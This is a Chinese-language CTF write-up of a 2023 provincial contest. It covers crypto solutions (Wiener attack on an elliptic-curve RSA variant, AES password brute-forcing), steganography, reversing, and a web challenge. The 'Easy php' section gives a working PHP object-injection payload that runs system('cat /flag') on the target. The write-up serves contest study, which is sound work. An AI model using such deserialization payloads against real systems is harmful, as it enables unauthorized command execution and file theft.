CRYPTO

小小数学家

1、题目信息

查看代码
19+49=?
96-31=?
86-3=?
20+47=?
29+55=?
35+35=?
81+42=?
73-16=?
52+48=?
0+56=?
55-6=?
69-20=?
99-48=?
100-52=?
36+13=?
32+13=?
84-34=?
90-34=?
94-45=?
85+13=?
50-5=?
55-3=?
77+25=?
87-35=?
62+35=?
88-43=?
86-30=?
90+10=?
66-17=?
34+63=?
51-6=?
22+76=?
46+5=?
45+11=?
20+78=?
56+45=?
99/1=?
47+52=?
58+44=?
76-26=?
92-42=?
12+44=?
80-27=?
5*25=?

2、解题方法

这种一看就是计算结果然后结果ASCII组成flag,可以试一下第一个,结果68,对应ASCII正好是D,因此想法正确

exp:

results = []

# 计算每个算式的结果
expressions = [
    "19+49",
    "96-31",
    "86-3",
    "20+47",
    "29+55",
    "35+35",
    "81+42",
    "73-16",
    "52+48",
    "0+56",
    "55-6",
    "69-20",
    "99-48",
    "100-52",
    "36+13",
    "32+13",
    "84-34",
    "90-34",
    "94-45",
    "85+13",
    "50-5",
    "55-3",
    "77+25",
    "87-35",
    "62+35",
    "88-43",
    "86-30",
    "90+10",
    "66-17",
    "34+63",
    "51-6",
    "22+76",
    "46+5",
    "45+11",
    "20+78",
    "56+45",
    "99/1",
    "47+52",
    "58+44",
    "76-26",
    "92-42",
    "12+44",
    "80-27",
    "5*25"
] for expr in expressions:
result = eval(expr) # 计算算式结果
results.append(result) # 将结果添加到结果列表中
print(results) # 输入的整数列表
numbers = [68, 65, 83, 67, 84, 70, 123, 57, 100, 56, 49, 49, 51, 48, 49, 45, 50, 56, 49, 98, 45, 52, 102, 52, 97, 45, 56, 100, 49, 97, 45, 98, 51, 56, 98, 101, 99.0, 99, 102, 50, 50, 56, 53, 125] # 将每个数字转换为ASCII字符
ascii_list = [chr(int(num)) for num in numbers] # 输出ASCII字符列表
print(ascii_list)
#['D', 'A', 'S', 'C', 'T', 'F', '{', '9', 'd', '8', '1', '1', '3', '0', '1', '-', '2', '8', '1', 'b', '-', '4', 'f', '4', 'a', '-', '8', 'd', '1', 'a', '-', 'b', '3', '8', 'b', 'e', 'c', 'c', 'f', '2', '2', '8', '5', '}'] list = ['D', 'A', 'S', 'C', 'T', 'F', '{', '9', 'd', '8', '1', '1', '3', '0', '1', '-', '2', '8', '1', 'b', '-', '4', 'f', '4', 'a', '-', '8', 'd', '1', 'a', '-', 'b', '3', '8', 'b', 'e', 'c', 'c', 'f', '2', '2', '8', '5', '}']
flag = ''.join(list)
print(flag)
#DASCTF{9d811301-281b-4f4a-8d1a-b38beccf2285}

基础数论

1、附件信息

from secret import x,y
from hashlib import md5
from sympy import isprime,nextprime
p = x**2 + y**2
assert isprime(p) and x*y > 0
print(p)
flag = 'DASCTF{'+md5(str(x+y).encode()).hexdigest()+"}" #173178061442550241596295506150572803829268102881297542445649200353047297914764783385643705889370567071577408829104128703765633248277722687055281420899564198724968491216409225857070531370724352556864154450614891750313803499101686782558259953244119778256806332589612663957000269869144555485216828399422391672121

2、解题方法

根据代码部分可知也就是求:p2 + q2 =n

利用sage里方法two_squares来求解。

参考:https://wstein.org/edu/2007/spring/ent/ent-html/node75.html

exp:

#sage#
import hashlib
from hashlib import md5 p = 173178061442550241596295506150572803829268102881297542445649200353047297914764783385643705889370567071577408829104128703765633248277722687055281420899564198724968491216409225857070531370724352556864154450614891750313803499101686782558259953244119778256806332589612663957000269869144555485216828399422391672121
x,y = (two_squares(p))
print(x,y)
flag = 'DASCTF{'+md5(str(x+y).encode()).hexdigest()+"}"
print(flag)
#2124080185874205807105261594884049506071023711463225511583343733907861918114771262515207146329816119356450361177578637163739714518747645791197729692842795 12987160767716970127272498846249389966243604043045970877384806399031879779694511338759174534221141662365315103597141408214751747758739021312936535825747936
#DASCTF{8ef20a4873c5ec776dd34bf5f0eb56cf}

EC_Party-III

1、附件信息

查看代码
 import os
import random
from Crypto.Util.number import *
from secret import flag assert flag[:7]==b'DASCTF{' and flag[-1:]==b'}'
flag = flag[7:-1]
m = bytes_to_long(flag) def magic_rsa(m):
p = getPrime(384)
q = getPrime(384)
Fp = GF(p)
Fq = GF(q)
n = p*q
d = getPrime(80)
a = random.randint(0, p-1)
b = random.randint(0, p-1) Ep = EllipticCurve(Zmod(p), [a, b])
Eq = EllipticCurve(Zmod(q), [a, b])
En = EllipticCurve(Zmod(n), [a, b])
ord_p = Ep.order()
ord_q = Eq.order()
e = inverse_mod(d, ord_p*ord_q) xm = bytes_to_long(m+os.urandom(16))
while True:
try:
Gp = Ep.lift_x(Fp(xm))
Gq = Eq.lift_x(Fq(xm))
ym = crt([int(Gp.xy()[1]),int(Gq.xy()[1])],[p,q])
break
except :
xm += 1
continue M = En((xm,ym))
C = e*M
pk = [a, b, n, e, C.xy()]
return pk print(magic_rsa(flag))
"""
[10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]
"""

2、解题方法

一开始看咦?这不是做过的题吗。。。真不错。

题目来源:题目来源:“华为杯”第二届中国研究生网络安全创新大赛

但后来发现还是不一样的,同样思路解不出来,找不到泄漏值。因为本题给了低指数d,而上述题目给的是低指数e,因此换思路:

低解密指数类型,连分数直接梭,先破d

exp:

#sage#
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)] a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0) c = continued_fraction((e/n)) for i in range(200):
d,k = (c.denominator(i),c.numerator(i))
print(d)
if C*(e*d-1) == O and d != 1:
print(d)
break

得到 d = 861078593737268627868079

最后求m

#sage#
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)] a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0) d = 861078593737268627868079
m = C*d
m = m[0]
print(m)
#11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
import libnum
m = 11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
print(libnum.n2s(int(m)))
#Wi3ner_4ttac6_s0_m4gic

An EaSy Cipher

属于aes cbc zerepadding 6位密码爆破

exp:

import base64
from Crypto.Cipher import AES
import libnum def zeropadding(password):
password = password + b"\x00"*(16 - len(password) % 16)
return password def pkcs7padding(password):
l = 16 - (len(password) % 16)
password = password + (chr(l).encode())*(16 - len(password) % 16)
return password line = open("superdic.txt","rb").readlines()
for i in line:
password = zeropadding(i[:-2])
text = base64.b64decode("Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08")
aes = AES.new(password,AES.MODE_ECB)
den_text = aes.decrypt(text)
if(b"flag" in den_text or b"DASCTF" in den_text):
print(den_text)
print(password)

MISC

Number game

签到题没啥说的,这种题按道理应该是WEB签到题,不知道为啥放到MISC了。。。哎!

连接后ctrl + u查看源代码发现只有个js文件,点进去找关键代码 function_roll()这一部分,代码复制一下放到控制台,然后把if()里判断条件改为true,再次点击roll,就会弹出flag了。。。

EZ_misc

1、附件信息

2、解题方法

送分题。。。

扔到010从文件头开始看发现是一张jpg图片,但每两位16进制是反的,好好好,看我魔力大旋转,翻转即可。

exp:

f = open("yuanshen", "rb")
data = f.read()
fzip = open("yuanshen.jpg", "wb")
s = b"" for i in data:
tmp = int(("%02x" % i)[::-1], 16) s += bytes([tmp])
# print(tmp.to_bytes(1, 'little')) fzip.write(s)

jpg隐写,试了几个工具发现是steghide无密码类型进行解密:

steghide extract -sf yuanshen.jpg
Enter passphrase:
wrote extracted data to "flag.txt".

打开txt文本:

DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DASHDOTDASHDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DASHDOTDOTDOTDOT DASHDASHDOTDOTDOT DASHDASHDOTDOTDOT DASHDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DASHDASHDASHDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDASHDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DOTDOTDOTDOTDASH DOTDOTDOTDASHDASH DASHDASHDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DASHDOTDOTDOTDOT DOTDOTDASHDASHDASH DOTDOTDOTDASHDASH DOTDOTDOTDOTDASH DASHDOTDOTDOTDOT DOTDOTDOTDOTDOT DASHDOTDOTDOTDOT DOTDOTDOTDASHDASH DASHDASHDOTDOTDOT DASHDOTDOT

这个就有一点小脑洞了,找下规律发现里面只有 DASH 和 DOT,想到摩斯密码,把DASH换成 - DOT换成 .

-.... -.... -.... -.-. -.... .---- -.... --... --... -... -.... ....- -.... -.... ...-- ....- -.... -.... ...-- -.... ...-- ...-- ...-- ..... -.... .---- -.... ..--- ...-- ...-- ...-- ....- ...-- ..--- -.... .---- ...-- ..... -.... ..--- ...-- ...-- -.... ..--- -.... ..--- ...-- ---.. ...-- ..... ...-- ..... -.... .---- ...-- ....- ...-- -.... ...-- ....- -.... ....- ...-- --... -.... ..--- -.... ..--- ...-- ....- -.... ..... -.... ...-- --... -..

摩斯解码 + HEX解码:

Steins_Gate(这个题有东西,有难度的)

1、附件信息

2、解题方法

一张png图片,这个很有意思哈哈,图片放大是一堆“嘟嘟噜”文字

仔细观察发现这些文字基本上是RGB这种颜色,根据经验猜测一下这应该是把原图的每个像素点替换成了一个文字。

简单地测量一下发现每个文字所在的正方形区域大小大概为16 * 16。

由于小正方形区域是大致,因此可以尝试读取其中16*16正方形的像素,我们会发现由于图片压缩导致部分文字像素有稍微变动。

同时发现整张背景图片像素为(211, 211, 211)

exp:

from PIL import Image
img = Image.open('Steins_Gate.png')
pix = img.load()
for x in range(0,16):
for y in range(0,16):
r, g, b = pix[x, y]
print(r,g,b)

接下来我们把这些16*16小方格的像素频率统计起来并进行排序,考虑到有可能原像素频率可能有大于背景211频率的,因此进行过滤一下。

exp:

from PIL import Image

img = Image.open('Steins_Gate.png')

pix = img.load()
width = img.size[0]
height = img.size[1]
img1 = Image.new("RGB", (int(width / 16), int(height / 16))) for i in range(0, width, 16):
for j in range(0, height, 16):
dic = {}
for x in range(i, i + 16):
for y in range(j, j + 16):
r, g, b = pix[x, y]
if (r, g, b) in dic:
dic[(r, g, b)] += 1
else:
dic[(r, g, b)] = 1
sorted_dict = sorted(dic.items(), key=lambda x: x[1], reverse=True)
if sorted_dict[0][0]!=(211, 211, 211):
print(sorted_dict)
img1.putpixel((int(i / 16), int(j / 16)), sorted_dict[0][0])
else:
img1.putpixel((int(i / 16), int(j / 16)), sorted_dict[1][0])
img1.show()
img1.save("output.png")

由此恢复出原图片。。StegSolve发现原图零通道不对劲。

查看0通道发现大量base64,提取出来。

保存文件后放到010

但我们很清晰发现每部分base64后面总会有一点没用的数据

我们写个脚本把这些数据过滤掉

exp:

with open('flag.bin','rb')as f:
with open('flag.txt','wb') as ff:
data=f.read()
for i in range(0,len(data),252):
ff.write(data[i:i+240])
ff.write(b'\n')

把最终得到的数据放到Cyber进行base64解码

不难看出又是一张图片。。。。真无语,这么会套娃!!

把图片保存下来得到:

估计又是个jpg隐写,但试了好多不需要密码的jpg隐写工具发现解不了,感觉跟密码有关,但密码在哪里?

看看我们提取出来的base64大量数据,大胆猜测是base64隐写。试一下看是不是

B神工具直接梭得到密码:

DuDuLu~T0_Ch3@t_THe_w0r1d

哈哈还真是64隐写,好好好。然后我们试试需要密码的隐写工具,经尝试发现是outguess

WEB

Easy php

exp:

<?php

class AAA{
public $cmd;
}
class BBB{
public $param1;
}
class CCC{
public $func;
} $b = new BBB();
$a = new AAA();
$c = new CCC();
$b->param1 = $c;
$c->func = $a;
$a->cmd = "system('cat /flag');"; echo urlencode(serialize($b));

RE

pyccc

直接还原得py脚本:

a = input('please input your flag:\n')
check = [102,109,99,100,127,52,114,88,97,122,85,125,105,127,119,80,120,112,98,39,109,52,55,106]
flag = ''
for idx, x in enumerate(check):
flag += chr(idx ^ x)
print(flag)

然后随便输入上面数组任意数字得flag

please input your flag:
99
flag{1t_is_very_hap4y!!}

ezapk

反编译APK

放到Cyber解码

2023浙江省大学生信息安全竞赛技能赛初赛 部分wp的更多相关文章

  1. 【逆向笔记】2017年全国大学生信息安全竞赛 Reverse 填数游戏

    2017年全国大学生信息安全竞赛 Reverse 填数游戏 起因是吾爱破解大手发的解题思路,觉得题挺有意思的,就找来学习学习 这是i春秋的下载链接 http://static2.ichunqiu.co ...

  2. 全国大学生信息安全竞赛初赛writeup

    本文首发于“合天智汇”公众号 作者:Fortheone WEB Babyunserialize 扫目录发现了 www.zip 下载下来发现似曾相识 之前wmctf2020的webweb出了f3的反序列 ...

  3. 2019全国大学生信息安全竞赛初赛pwn前四题writeup—栈部分

    ret to libc技巧:https://blog.csdn.net/zh_explorer/article/details/80306965 如何leak出libc地址:基地址+函数在libc中的 ...

  4. 2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

    审计代码 传入参数a,进入parserIfLabel函数 发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if} 可知ifstr是a中匹配的第一组的值,即paylo ...

  5. 2018CCPC 中国大学生程序设计竞赛 网络赛

    链接 1.括号序列贪心/CF&51nod原题 [分析]: 贪心,每次到i的时候,假如你要在i里面要卖掉股票,获益是a[i], 肯定要在前面要么:1)把已经卖了的变成不买不卖,需要-a[j], ...

  6. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

  7. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  8. 【湖南师范大学2018年大学生程序设计竞赛新生赛 L】【HDOJ2476】【区间DP】

    https://www.nowcoder.com/acm/contest/127/L L 小小粉刷匠 题目描述 "lalala,我是一个快乐的粉刷匠",小名一边快活地唱着歌,一边开 ...

  9. 湖南师范大学2018年大学生程序设计竞赛新生赛 A 齐神和心美的游戏【hash】

    [链接]:A [题意]:给你n个数的序列和k.判断是否可以三个数组成k(同一个数可以拿多次) [分析]:每个数vis记录一下.2层循环.两数之和不超过k以及剩下的数出现在序列中那么ok. [代码]: ...

  10. 2016全国大学生信息安全竞赛(Misc)

    你好,i春秋: 关注i春秋公众微信号,然后发送CTF,机器人会问星期几,按实回答,然后发送你好,机器人会回复你好,然后随便发几句,机器人会问是否愿意陪他聊天,回复不愿意,机器人就会发flag kill ...

随机推荐

  1. pycharm配置git关联Gitee远程仓库

    File-->Settins-->Version Control-->Git,点Test自动识别本地git安装路径 安装Gitee插件,重启pycharm 在Git下关联远程仓库链接 ...

  2. 【OpenCV】 OpenCV 源码编译并实现 CUDA 加速 (Windows)

    目录 1. 环境准备 1.1 软件环境 1. 2 源码下载 2. CMake编译项目 2.1 创建cmake项目 2.2 设置编译配置 2.3 解决异常 2.3.1 文件下载异常 2.3.2 解决CU ...

  3. Plant-Earth-wp

    Earth 信息收集 开放了80,443 只能访问到443,试了试msf里面frado的远古rce都不成功.然后注意到有域名解析 添加到hosts里面再访问,当前页面有几串密文,经尝试在message ...

  4. JavaFx之触发激发鼠标事件(二十三)

    JavaFx之触发激发鼠标事件(二十三) 有时候,我们不能直接触发/激发某个按钮的点击事件,因为发起方可能是子线程.使用屏幕点击又不优雅,javafx已经提供了事件的激发,即使在子线程中也能激发某个按 ...

  5. 【开源项目】轻量元数据管理解决方案——Marquez

    大家好,我是独孤风. 又到了本周的开源项目推荐.最近推荐的元数据管理项目很多,但是很多元数据管理平台的功能复杂难用. 那么有没有轻量一点的元数据管理项目呢? 今天为大家推荐的开源项目,就是一个轻量级的 ...

  6. Spring Boot入坑-3-Maven简介

    概述 Maven是一个自动化构建工具 能够将支持Maven项目的依赖包从远程仓库拉取到本地仓库,并进行依赖管理 项目中通过pom.xml来描述项目,对项目依赖进行管理与配置 给项目提供编译.打包.安装 ...

  7. 前世今生:Kubernete 是如何火起来的?

    本课时,我们就开始正式进入 Kubernetes 的学习,或许你已经听过或简单了解过 Kubernetes,它是一款由 Google 开源的容器编排管理工具,而我们想要深入地掌握 Kubernetes ...

  8. Java中单体应用锁的局限性&分布式锁

    互联网系统架构的演进 在互联网系统发展之初,系统比较简单,消耗资源小,用户访问量也比较少,我们只部署一个Tomcat应用就可以满足需求.系统架构图如下: 一个Tomcat可以看作是一个JVM进程,当大 ...

  9. 掌握渗透测试,从Web漏洞靶场搭建开始

    摘要:漏洞靶场,不仅可以帮助我们锻炼渗透测试能力.可以帮助我们分析漏洞形成机理.更可以学习如何修复提高代码能力,同时也可以帮助我们检测各种各样漏洞扫描器的效果. 本文分享自华为云社区<Web漏洞 ...

  10. 使用MRS CDL实现实时数据同步的极致性能

    摘要:MRS CDL旨在实现最大的数据复制吞吐量和低复制延迟. 本文分享自华为云社区<使用MRS CDL实现实时数据同步的极致性能>,作者:大数据修行者 . MRS CDL提供从多个RDB ...